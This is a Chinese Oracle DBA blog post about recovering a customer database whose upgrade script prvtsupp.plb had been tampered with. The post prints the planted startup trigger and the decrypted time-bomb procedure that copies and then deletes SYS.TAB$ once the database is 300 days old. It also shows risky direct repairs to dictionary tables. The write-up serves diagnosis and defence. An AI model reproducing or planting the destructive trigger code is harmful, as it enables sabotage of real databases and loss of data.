love wife & love life —Roger的Oracle&MySQL技术博客

Phone:18180207355 提供专业Oracle&MySQL数据恢复、性能优化、迁移升级、紧急救援等服务

数据库被注入恶意攻击程序的案例恢复(ORA-16703)

本站文章除注明转载外,均为本站原创: 转载自love wife & love life —Roger的Oracle&MySQL技术博客

本文链接地址: 数据库被注入恶意攻击程序的案例恢复(ORA-16703)

前几天某客户紧急求助我们,其Oracle数据库由于重启之后无法正常启动。最后通过数据库全备进行了一天一夜的恢复,最后仍然无法正常打开数据库。alter database open时检查发现数据库报错ORA-16703.

从用户提供的信息来看,确实是在open resetlogs的时候出现的错误。那么这个错误意味着什么呢? 其实第一眼看到这个错误;我们就大概清楚这是Oracle的数据字典出问题了。 而且这通常是Oracle tab$。

接到这个case,我开始感觉是非常的奇怪。为什么客户利用Oracle rman全备+归档进行恢复,然后open的时候居然报数据字典有问题呢?感觉有点匪夷所思。

这里我们首先要做的是进行验证,验证什么信息呢? 很简单,确认tab$是否真的有问题。这里其实有2种方法(第一是10046 trace跟踪你会看到Oracle 递归SQL在访问tab$时报错、第二是直接通过工具读取tab$的数据,看看是否正常)。

实际上这里我首先通过10046 event跟踪了一下,发现确实如此,为了更加确认,我将system文件cp到文件系统,通过ODU 抽取了tab$的数据,发现居然是0 行。这说明什么呢? 说明tab$ 的数据被人清空了?

我相信只有这一种解释了。发现了问题,没什么用呀。我们需要尽快帮用户恢复生产库,恢复业务。这是关键。由于客户之前的环境已经被人resetlogs了多次,因此不再适合继续恢复了;首先我们通过全备进行了一次恢复,然后尝试打开了数据库。确实非常顺利,但是遗憾的,不到1分钟数据库就宕机了,然后再次启动就是报同样的错误ORA-16073.

还好我此时多了一个心眼,open之前我先备份了system文件;此时再次通过odu抽取tab$的数据进行对比发现;open之前数据是存在的;open之后数据库宕机,然后再次查看tab$数据为0.

很明显,问题出在open之后的一个极其短暂的时内。通常这种破坏操作都是通过存储过程或者trigger等来进行;因此我尝试通过odu抽取了obj$的信息。发现该数据库再2017年9月2号凌晨创建了几个特殊对象,猜测就是这个东西在捣鬼了。

这几个dbms_support的对象明显是有问题的。看来这个问题在1个月前就潜伏了,只是用户没有发觉而已。结合alert log分析判断9月2号客户应该是进行过数据库升级操作,后面跟客户确认也确实如此。

难道问题出在升级的环境? 问过当时升级的工程师,整个过程没有任何问题,只是简单的将数据库从11.2.0.3升级到11.2.0.4。 想到这里,问怀疑问题可能出现在Oracle软件安装包上。搜了一下Mos发现这个dbms_support对象在安装升级过程运行?/rdbms/admin/prvtsupp.plb脚本产生的内容。 既然如此;那么有没有这个脚本被人动过手脚呢? strings 看了一下脚本内容,发现确实有问题。

如下是被恶意注入后的脚本:

ora1>$strings /oracle/product/11.2.4/rdbms/admin/prvtsupp.plb
create or replace package body dbms_support wrapped 
a000000
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
a60 422
xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf
rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk
XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ
T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8
bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop
/vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB
wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe
dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF
2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3
3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1
9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA
O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn
qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx
yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0
eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M=
create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped
a000000
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
166 17d
L+Q5S7kOFTBh3pJuFhl03zpaj2EwgzKur9zWZ47SR+pHN0Y8ER0IGya9iryn8BXxVZV99MqT
jPeDOVN1pQjRL9BBh4vtWEKCY/FfMGPnetcyOwrCiZd3y4XmBCby580I22k2zARou4x8Mwl7
GOEcpi6u23Rf2JOnTfA/PYL+pz7A1gvabRQrczX6dnK8HaHsERgX7VdwA3EsM784UwL6ESro
H+CNqON6SdF2HTUFBcmgBBPE/+blRgHQryEpxT3JOnEs1a8gUbjaLq+Xq9Eu9n/kdIwA+9ep
r59hpFLw/vnP7Cjaxk7WbJ6/XGj9F6DH+3MBxpFBmba1tk0pYAW1McQsYXNFbiSdxj1KnrmD
lUETCD2WIxfg3w==
PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGER
create or replace trigger DBMS_SUPPORT_DBMONITOR
after startup on database 
declare
begin 
   DBMS_SUPPORT_DBMONITORP;
end;
ora1>$

如下是我的11.2.0.4环境的正常脚本内容:

[oracle@killdb admin]$ strings /u01/app/oracle/product/11.2.0/dbhome_1/rdbms/admin/prvtsupp.plb
create or replace package body dbms_support wrapped 
a000000
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
a60 422
xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf
rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk
XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ
T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8
bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop
/vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB
wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe
dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF
2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3
3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1
9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA
O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn
qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx
yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0
eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M=

我们可以清楚的看到,前面的大部分内容被篡改了。对于这个恶意攻击脚本,我尝试进行解密,但是没有成功。 

后面研究了一下,稍微修改一下脚本,即可顺利解密,解密出来的代码如下所示:

PROCEDURE DBMS_SUPPORT_DBMONITORP IS
DATE1 INT :=10;
BEGIN 
   SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;
   IF (DATE1>=300) THEN 
   EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';
   DELETE SYS.TAB$;
   COMMIT;
   EXECUTE IMMEDIATE 'alter system checkpoint';
   END IF;
END;

注意、注意;禁止拿去搞破坏性动作!本站一概不负责!

对于Oracle自带的这个正常的prvtsupp.plb的脚本,可以轻易解密:

PACKAGE BODY dbms_support AS

  FUNCTION MYSID RETURN NUMBER IS
    L_SID NUMBER := 0;
  BEGIN
    
    SELECT SID INTO L_SID FROM V$MYSTAT
          WHERE ROWNUM = 1;
    RETURN(L_SID);
  END;

  FUNCTION PACKAGE_VERSION RETURN VARCHAR2 IS
  BEGIN
    RETURN('DBMS_SUPPORT Version 1.0 (17-Aug-1998)'||
           ' - Requires Oracle 7.2 - 8.0.5');
  END;

  FUNCTION CURRENT_SERIAL(L_SID IN NUMBER) RETURN NUMBER IS
    L_SERIAL NUMBER := 0;
  BEGIN
    SELECT SERIAL# INTO L_SERIAL
    FROM V$SESSION 
    WHERE SID = L_SID;
    RETURN(L_SERIAL);
  EXCEPTION
    WHEN NO_DATA_FOUND THEN
      RAISE_APPLICATION_ERROR(-20000,
            'Current_Serial: SID '||L_SID||' does not exist');
  END;

  PROCEDURE VALIDATE_SID(L_SID    IN NUMBER,
                         L_SERIAL IN NUMBER) IS
    L_STATUS VARCHAR2(20);
  BEGIN
    SELECT STATUS INTO L_STATUS FROM V$SESSION
    WHERE SID = L_SID AND SERIAL# = L_SERIAL;
    IF L_STATUS = 'KILLED' THEN
      RAISE_APPLICATION_ERROR(-20000,
          'Validate_Sid: Session ('||L_SID||','||L_SERIAL||
          ') has been KILLED');
    END IF;
  EXCEPTION
    WHEN NO_DATA_FOUND THEN
      RAISE_APPLICATION_ERROR(-20000,
          'Validate_Sid: Session ('||L_SID||','||L_SERIAL||
          ') does not exist');
  END;

  PROCEDURE START_TRACE(WAITS IN BOOLEAN  DEFAULT TRUE,
                        BINDS IN BOOLEAN  DEFAULT FALSE) IS
  BEGIN
    START_TRACE_IN_SESSION(MYSID,0,WAITS,BINDS);
  END;

  PROCEDURE STOP_TRACE IS
  BEGIN
    STOP_TRACE_IN_SESSION(MYSID,0);
  END;

  PROCEDURE START_TRACE_IN_SESSION(SID    IN NUMBER,
                                   SERIAL IN NUMBER,
                                   WAITS  IN BOOLEAN  DEFAULT TRUE,
                                   BINDS  IN BOOLEAN  DEFAULT FALSE) IS
    L_LEVEL  NUMBER := 0;
    L_SID    NUMBER := SID;
    L_SERIAL NUMBER := SERIAL;
  BEGIN
    
    IF (SERIAL = 0 OR SERIAL IS NULL) THEN
        L_SERIAL := CURRENT_SERIAL(SID);
    END IF;
    VALIDATE_SID(L_SID, L_SERIAL);
    
    IF (WAITS AND BINDS) THEN
      L_LEVEL := 12;
    ELSIF (WAITS) THEN
      L_LEVEL := 8;
    ELSIF (BINDS) THEN
      L_LEVEL := 4;
    ELSE
      L_LEVEL := 1;
    END IF;
    
    DBMS_SYSTEM.SET_EV(L_SID, L_SERIAL, 10046, L_LEVEL, '');
  END;

  PROCEDURE STOP_TRACE_IN_SESSION(SID    IN NUMBER,
                                  SERIAL IN NUMBER) IS
    L_SID    NUMBER := SID;
    L_SERIAL NUMBER := SERIAL;
  BEGIN
    
    IF (SERIAL = 0 OR SERIAL IS NULL) THEN
        L_SERIAL := CURRENT_SERIAL(SID);
    END IF;
    VALIDATE_SID(L_SID, L_SERIAL);
    
    DBMS_SYSTEM.SET_EV(L_SID, L_SERIAL, 10046, 0, '');
  END;
END DBMS_SUPPORT;

 

那么知道了问题的原因,如何处理呢? 这就不太难了。我尝试用提前cp备份的system文件进行替换,然后推进scn顺利打开了数据库,打开之后,我离开进行了如下的操作。

 alter system set "_system_trig_enabled"=false scope=both;
 alter database open ;
 drop TRIGGER DBMS_SUPPORT_DBMONITOR;
 drop PROCEDURE DBMS_SUPPORT_DBMONITORP;
 drop PACKAGE DBMS_SUPPORT;

这里需要注意的是,对于这个隐含参数,建议open之前打开,可以起到类似将数据库在upgrade模式下操作的效果(drop操作要够快,最好是命令与open操作一起执行)。

事情到这里还没结束,可能是我操作不够快还是怎么到。最后dbmonitorp这个私活无法drop,会一直挂起。不过trigger被drop了,那么只是问题不会再次触发了,除非手工调用这个存储过程。

最后客户测试应用时,发现有将近10个表有问题,报错ora-30732错误。这个错误本身来讲不难处理,重建对象即可。问题是当我尝试重建table时,发现session直接挂起。通过10046 event跟踪session发现一直时row cache lock,如下所示:

=====================
PARSING IN CURSOR #47076496818944 len=247 dep=0 uid=0 oct=1 lid=0 tim=1506947044194706 hv=2230672216 ad='18eb9ca910' sqlid='0cxwj6k2gaqus'
CREATE TABLE test.LIS_TES
END OF STMT
PARSE #47076496818944:c=2000,e=2011,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=1,plh=0,tim=1506947044194702
=====================
PARSING IN CURSOR #47076496812832 len=45 dep=1 uid=0 oct=3 lid=0 tim=1506947044195801 hv=3393782897 ad='18fce834e0' sqlid='9p6bq1v54k13j'
select value$ from sys.props$ where name = :1
END OF STMT
PARSE #47076496812832:c=1000,e=884,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=0,tim=1506947044195800
BINDS #47076496812832:
 Bind#0
  oacdty=01 mxl=32(22) mxlc=00 mal=00 scl=00 pre=00
  oacflg=10 fl2=0001 frm=01 csi=852 siz=32 off=0
  kxsbbbfp=2ad0d9dea2b8  bln=32  avl=22  flg=05
  value="GG_XSTREAM_FOR_STREAMS"
EXEC #47076496812832:c=1000,e=1304,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=415205717,tim=1506947044197191
FETCH #47076496812832:c=0,e=65,p=0,cr=2,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044197275
STAT #47076496812832 id=1 cnt=0 pid=0 pos=1 obj=98 op='TABLE ACCESS FULL PROPS$ (cr=2 pr=0 pw=0 time=66 us cost=2 size=28 card=1)'
CLOSE #47076496812832:c=0,e=5,dep=1,type=0,tim=1506947044197363
=====================
PARSING IN CURSOR #47076497130448 len=70 dep=1 uid=0 oct=3 lid=0 tim=1506947044200836 hv=1853064805 ad='192c100d50' sqlid='5hrvvu1r771m5'
 SELECT VALUE$ FROM SYS.PROPS$ WHERE NAME = 'OGG_TRIGGER_OPTIMIZATION'
END OF STMT
PARSE #47076497130448:c=2000,e=1513,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=415205717,tim=1506947044200835
EXEC #47076497130448:c=0,e=19,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044200964
FETCH #47076497130448:c=0,e=24,p=0,cr=2,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044201006
STAT #47076497130448 id=1 cnt=0 pid=0 pos=1 obj=98 op='TABLE ACCESS FULL PROPS$ (cr=2 pr=0 pw=0 time=24 us cost=2 size=28 card=1)'

*** 2017-10-02 20:24:07.201
WAIT #47076496818944: nam='row cache lock' ela= 3000384 cache id=8 mode=0 request=3 obj#=-1 tim=1506947047201532

*** 2017-10-02 20:24:10.203
WAIT #47076496818944: nam='row cache lock' ela= 3001708 cache id=8 mode=0 request=3 obj#=-1 tim=1506947050203394

*** 2017-10-02 20:24:13.205
WAIT #47076496818944: nam='row cache lock' ela= 3001737 cache id=8 mode=0 request=3 obj#=-1 tim=1506947053205264

*** 2017-10-02 20:24:16.207
WAIT #47076496818944: nam='row cache lock' ela= 3001722 cache id=8 mode=0 request=3 obj#=-1 tim=1506947056207134

这确实有些怪异了。通过上面毒cahce id=12我们可以进一步定位到是数据库的约束可能有问题,如下:

SQL> select cache#,cache_name,lock_mode,lock_request,saddr from v$rowcache_parent where lock_mode<>0;

    CACHE# CACHE_NAME                                                        LOCK_MODE LOCK_REQUEST SADDR
---------- ---------------------------------------------------------------- ---------- ------------ ----------------
         8 dc_objects                                                                5            0 0000001883325D60
         8 dc_objects                                                                5            0 0000001883325D60
         8 dc_objects                                                                5            0 0000001883325D60
         8 dc_objects                                                                5            0 0000001883325D60
        11 dc_objects                                                                5            0 0000001883325D60
        11 dc_objects                                                                5            0 0000001883325D60
        12 dc_constraints                                                            5            0 0000001883325D60
        12 dc_constraints                                                            5            0 0000001883325D60

 

约束有问题? 各位不要惊讶,这里完全有可能,因为数据库是强制open的,可能有不一致的情况出现。为了进行验证,我创建一个不带约束的table 发现确实ok,带上not null的约束就hang住。

最后在自己的11.2.0.4的数据库进行了简单测试发现:

1、create table(带约束的情况下)会如下几个基表的操作,但是与约束有关系的,其实就con$,cdef$:

insert into con$(owner#,name,con#,spare1)values(:1,:2,:3,:4)
insert into tab$(obj#,ts#,file#,block#,bobj#,tab#,intcols,kernelcols,clucols,audit$,flags,pctfree$,pctused$,initrans,maxtrans,rowcnt,blkcnt,empcnt,avgspc,chncnt,avgrln,analyzetime,samplesize,cols,property,degree,instances,dataobj#,avgspc_flb,flbcnt,trigflag,spare1,spare6)values(:1,:2,:3,:4,decode(:5,0,null,:5),decode(:6,0,null,:6),:7,:8,decode(:9,0,null,:9),:10,:11,:12,:13,:14,:15,:16,:17,:18,:19,:20,:21,:22,:23,:24,:25,decode(:26,1,null,:26),decode(:27,1,null,:27),:28,:29,:30,:31,:32,:33)
insert into col$(obj#,name,intcol#,segcol#,type#,length,precision#,scale,null$,offset,fixedstorage,segcollength,deflength,default$,col#,property,charsetid,charsetform,spare1,spare2,spare3)values(:1,:2,:3,:4,:5,:6,decode(:5,182/*DTYIYM*/,:7,183/*DTYIDS*/,:7,decode(:7,0,null,:7)),decode(:5,2,decode(:8,-127/*MAXSB1MINAL*/,null,:8),178,:8,179,:8,180,:8,181,:8,182,:8,183,:8,231,:8,null),:9,0,:10,:11,decode(:12,0,null,:12),:13,:14,:15,:16,:17,:18,:19,:20)
insert into ccol$(con#,obj#,intcol#,pos#,col#,spare1) values(:1,:2,:3,decode(:4,0,null,:4),:5, :6)
insert into cdef$(obj#,con#,type#,intcols,condlength,condition,robj#,rcon#,match#,refact,enabled,cols,defer,mtime,spare1,spare2,spare3)values(:1,:2,:3,decode(:4,0,null,:4),decode(:5,0,null,:5),:6,decode(:7,0,null,:7),decode(:8,0,null,:8),decode(:9,0,null,:9),decode(:10,0,null,:10), decode(:11,0,null,:11),:12, decode(:13,0,null,:13),:14,:15,:16,:17)

2、创建约束时Oracle会以_next_constraint 的con# 值为当前所能搞创建成功的约束的con#;该值必须比con$.max(con#)要大。 其实只要大于即可。

根据类似的思路我对客户这套数据库进行了简单检查,发现数据字典确实有问题,如下:

SQL> select /*+full(con$) */ con# from con$
  2  minus
  3  select /*+full(cdef$) */ con# from cdef$ 
  4  /

      CON#
----------
    144216

SQL> select /*+full(cdef$) */ con# from cdef$ minus
  2  select /*+full(con$) */ con# from con$;

no rows selected



SQL> select /*+index(cdef$ I_CDEF1) */ con# from cdef$ minus
  2  select /*+INDEX(con$ I_CON2) */ con# from con$;

      CON#
----------
    144217
    144218
    144219
    144220
    144221
    144222
    144223
    144224
    144225
    144226
    144227
    144228
    144229

13 rows selected.

++++index

select /*+index(cdef$ I_CDEF1) */ con# from cdef$ order by 1;

      CON#
----------
    144171
    144192
    144193
    144216
    144217
    144218
    144219
    144220
    144221
    144222
    144223
    144224
    144225
    144226
    144227
    144228
    144229



+++table 
select /*+full(cdef$) */ con# from cdef$ order by 1;

      CON#
----------
    144086
    144087
    144088
    144089
    144090
    144091
    144092
    144093
    144094
    144095
    144096
    144171
    144192
    144193


+++con$   index

select /*+INDEX(con$ I_CON2) */ con# from con$ order by 1 ;

      CON#
----------
    144171
    144192
    144193
    144216

file 67 block 69150


+++con$  table
select /*+full(con$) */ con# from con$ order by 1 ;

      CON#
----------
    144171
    144192
    144193
    144216
    .....
    144228

con$的记录均包含了cdef$。因此这里我们不需要太关注cdef$。

首先我们来说con$:

由于其i_con2这个唯一索引中最大值是144216,因此我们需要将表中con# >144216 的记录全部标记为删除;

其次对于cdef$:

由于cdef$中con# 最大记录是144193,因此需要将其索引I_CDEF1中的con# > 144193的键值全部标记为删除。

这里我们通过bbed 修复了上述对应的一些data block和Index Block,但是创建table 时发现还是hang住。难道哪个地方没有修改对吗?

由于我的测试环境的情况是需要_next_constraint 能够正常工作,按理说都是ok的。那么问题出现在什么的地方呢?

这里我们先尝试来查看一条正常的记录,例如con#=144193:

SQL> select /*+full(con$) */ rowid,dbms_rowid.rowid_relative_fno(rowid) file_id,
  2  dbms_rowid.rowid_block_number(rowid) block_id
  3          from con$  where con#=144193
  4  /

ROWID                 FILE_ID   BLOCK_ID
------------------ ---------- ----------
AAAAAcAABAAAc+PABI          1     118671

SQL> select rowid,
  2          dbms_rowid.rowid_object(rowid) object_id,
  3          dbms_rowid.rowid_relative_fno(rowid) file_id,
  4          dbms_rowid.rowid_block_number(rowid) block_id,
  5          dbms_rowid.rowid_row_number(rowid) num
  6  from con$  where con#=144193;

ROWID               OBJECT_ID    FILE_ID   BLOCK_ID        NUM
------------------ ---------- ---------- ---------- ----------
AAAAAcAABAAAc+PABI         28          1     118671         72

大家可以看到,dba地址和行号都应该是对应起来的(这里我没有显示行号).

我们再来看看异常的这条数据:

SQL> select rowid,
  2          dbms_rowid.rowid_object(rowid) object_id,
  3          dbms_rowid.rowid_relative_fno(rowid) file_id,
  4          dbms_rowid.rowid_block_number(rowid) block_id,
  5          dbms_rowid.rowid_row_number(rowid) num
  6  from con$  where con#=144216;

ROWID               OBJECT_ID    FILE_ID   BLOCK_ID        NUM
------------------ ---------- ---------- ---------- ----------
AAAAAcAABAAAc+PAAS         28          1     118671         18


SQL> select /*+full(con$) */ rowid,dbms_rowid.rowid_relative_fno(rowid) file_id,
  2  dbms_rowid.rowid_block_number(rowid) block_id
  3          from con$  where con#=144216
  4  /

ROWID                 FILE_ID   BLOCK_ID
------------------ ---------- ----------
AAAAAcAABAAAAEhAAM          1        289

 

很明显,rdba地址都不匹配呀(注意:前面基于rowid的查询,不加hint的情况下,走的是Index 扫描)。以为这里将rdba修改为file 1 block 289 就ok了,发现还是不行。为什么呢? 这里给自己挖了一个坑。后面再次查询发现行号其实也不匹配,正常应该对应第12行,实际这里错误的对应到18行了。如下是该数据块的dump情况:

—file 1 block 289  dump

tl: 29 fb: --H-FL-- lb: 0x0  cc: 4
col  0: [ 1]  80
col  1: [16]  5f 4e 45 58 54 5f 43 4f 4e 53 54 52 41 49 4e 54
col  2: [ 4]  c3 0f 2b 11
col  3: [ 1]  80
tab 0, row 13, @0x1e92

www.killdb.com@select dump(144216,16) from dual;

Typ=2 Len=4: c3,f,2b,11

www.killdb.com@
www.killdb.com@select  dump('_NEXT_CONSTRAINT',16) from dual;

Typ=96 Len=16: 5f,4e,45,58,54,5f,43,4f,4e,53,54,52,41,49,4e,54

看来这确实是我们需要的这条数据,非常珍贵的一条数据呀。当最后将index block中的行号也修改为一致时,再次测试发现就ok了。不过我这里还是直接将该条记录delete条了,然后插入一条新的记录(有些人会说,这里如果不修改能否delete呢?其实不行的,delete会报错):

SQL> delete from con$ where con#=144216;

1 row deleted.

SQL> commit;

Commit complete.

SQL> insert into con$ values(0,'_NEXT_CONSTRAINT',144236,0,'','','','','');

1 row created.

SQL> commit;

Commit complete.

SQL> select /*+INDEX(con$ I_CON2) */rowid,
  2          dbms_rowid.rowid_object(rowid) object_id,
  3          dbms_rowid.rowid_relative_fno(rowid) file_id,
  4          dbms_rowid.rowid_block_number(rowid) block_id,
  5          dbms_rowid.rowid_row_number(rowid) num_5
  6  from con$  where con#=144236;


ROWID               OBJECT_ID    FILE_ID   BLOCK_ID      NUM_5
------------------ ---------- ---------- ---------- ----------
AAAAAcAABAAAc+PAAS         28          1     118671         18

SQL> SQL> 
SQL> select /*+full(con$) */ rowid,
  2          dbms_rowid.rowid_object(rowid) object_id,
  3          dbms_rowid.rowid_relative_fno(rowid) file_id,
  4          dbms_rowid.rowid_block_number(rowid) block_id,
  5          dbms_rowid.rowid_row_number(rowid) num_5
  6          from con$  where con#=144236;

ROWID               OBJECT_ID    FILE_ID   BLOCK_ID      NUM_5
------------------ ---------- ---------- ---------- ----------
AAAAAcAABAAAc+PAAS         28          1     118671         18

SQL> conn test/test
Connected.
SQL> create table tt_con(id number not null);

Table created.

整个恢复过程其实要比这个复杂一些,省略了一些步骤,不过基本上差不了太多。大家将就看喏~~

 

Comments are closed.